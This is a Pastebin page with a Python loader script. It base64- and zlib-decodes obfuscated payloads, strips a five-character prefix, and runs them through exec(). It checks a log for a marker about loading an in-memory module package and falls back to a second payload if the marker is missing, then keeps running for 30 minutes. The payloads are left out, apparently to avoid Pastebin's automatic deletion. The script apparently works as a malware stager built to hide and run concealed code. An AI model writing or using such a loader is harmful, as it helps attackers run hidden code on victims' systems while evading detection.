Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import base64
- import zlib
- import sys
- import os
- import threading
- import time
- # Preserve original stdout and stderr descriptors
- original_stdout = sys.stdout
- original_stderr = sys.stderr
- # Defining paths to log files
- log_file_path_1 = os.path.join(os.getcwd(), 'script_output_1.log')
- log_file_path_2 = os.path.join(os.getcwd(), 'script_output_2.log')
- # If the files already exist, delete them
- for log_file in [log_file_path_1, log_file_path_2]:
- if os.path.exists(log_file):
- try:
- os.remove(log_file)
- print(f"File {log_file} successfully removed.")
- except Exception as e:
- print(f"Error deleting file {log_file}: {e}")
- first_script_success = False
- def monitor_logs(timeout=100, target_string="[*] Loading in memory module package: pythonmemorymodule"):
- """
- Monitoring logs of the first script.
- """
- global first_script_success
- start_time = time.time()
- while time.time() - start_time < timeout:
- try:
- if os.path.exists(log_file_path_1):
- with open(log_file_path_1, 'r', encoding='utf-8') as log_file:
- content = log_file.read()
- if target_string in content:
- first_script_success = True
- return
- except Exception as e:
- print(f"Error reading logs: {e}")
- time.sleep(1)
- def execute_script(encoded_script, log_file_path):
- """
- Executes the encoded script and writes logs, ignoring the first 5 characters
- """
- try:
- # Remove the first 5 characters from the string
- cleaned_script = encoded_script[5:]
- decoded_script = zlib.decompress(base64.b64decode(cleaned_script.encode())).decode()
- with open(log_file_path, 'a', encoding='utf-8') as log_file:
- sys.stdout = log_file
- sys.stderr = log_file
- try:
- exec(decoded_script, globals())
- except Exception as e:
- print(f"Script execution error: {e}", file=log_file)
- sys.stdout = original_stdout
- sys.stderr = original_stderr
- except Exception as e:
- with open(log_file_path, 'a', encoding='utf-8') as log_file:
- log_file.write(f"Error decoding script: {e}\n")
- print(f"Error decoding script: {e}")
- def delayed_monitor_start():
- """
- Delay before starting log monitoring.
- """
- time.sleep(2) # We give time for the first script to start executing
- monitor_logs()
- # Function to keep the program running for 30 minutes
- def keep_alive(duration=1800): # 30 minutes = 1800 seconds
- end_time = time.time() + duration
- while time.time() < end_time:
- try:
- # Minimal latency to save resources
- time.sleep(1)
- except Exception as e:
- # Ignore all exceptions so that the program does not terminate
- pass
- # Launch log monitoring in a separate thread
- monitor_thread = threading.Thread(target=delayed_monitor_start)
- monitor_thread.daemon = False # The thread will not terminate with the main thread.
- monitor_thread.start()
- encoded_script_1 = <REMOVED TO AVOID PASTEBIN AUTO DELETION>
- try:
- print("Running the first script...")
- threading.Thread(target=execute_script, args=(encoded_script_1, log_file_path_1)).start()
- except Exception as e:
- with open(log_file_path_1, 'a', encoding='utf-8') as log_file:
- log_file.write(f"Error running first script: {e}\n")
- print(f"Error running first script: {e}")
- # Waiting for log monitoring to complete
- monitor_thread.join()
- # If the first script did not run successfully, run an alternative one
- if not first_script_success:
- print("The first code failed. I am running the alternative code.")
- encoded_script_2 = <REMOVED TO AVOID PASTEBIN AUTO DELETION>
- try:
- threading.Thread(target=execute_script, args=(encoded_script_2, log_file_path_2)).start()
- except Exception as e:
- with open(log_file_path_2, 'a', encoding='utf-8') as log_file:
- log_file.write(f"Error running second script: {e}\n")
- print(f"Error running second script: {e}")
- else:
- print("The first code was executed successfully. No alternative code is required..")
- # We keep the program active for 30 minutes
- print("The script went into standby mode for 30 minutes...")
- # We launch a background process to support the program's operation
- keep_alive_thread = threading.Thread(target=keep_alive, args=(1800,))
- keep_alive_thread.daemon = False # The thread will not terminate with the main thread.
- keep_alive_thread.start()
- # The main stream also waits 30 minutes
- try:
- time.sleep(1800) # 30 minutes = 1800 seconds
- except KeyboardInterrupt:
- print("\nThe program was forcibly stopped by the user.")
- finally:
- print("30 minutes have passed. The script is finishing its work.")
Add Comment
Please, Sign In to add comment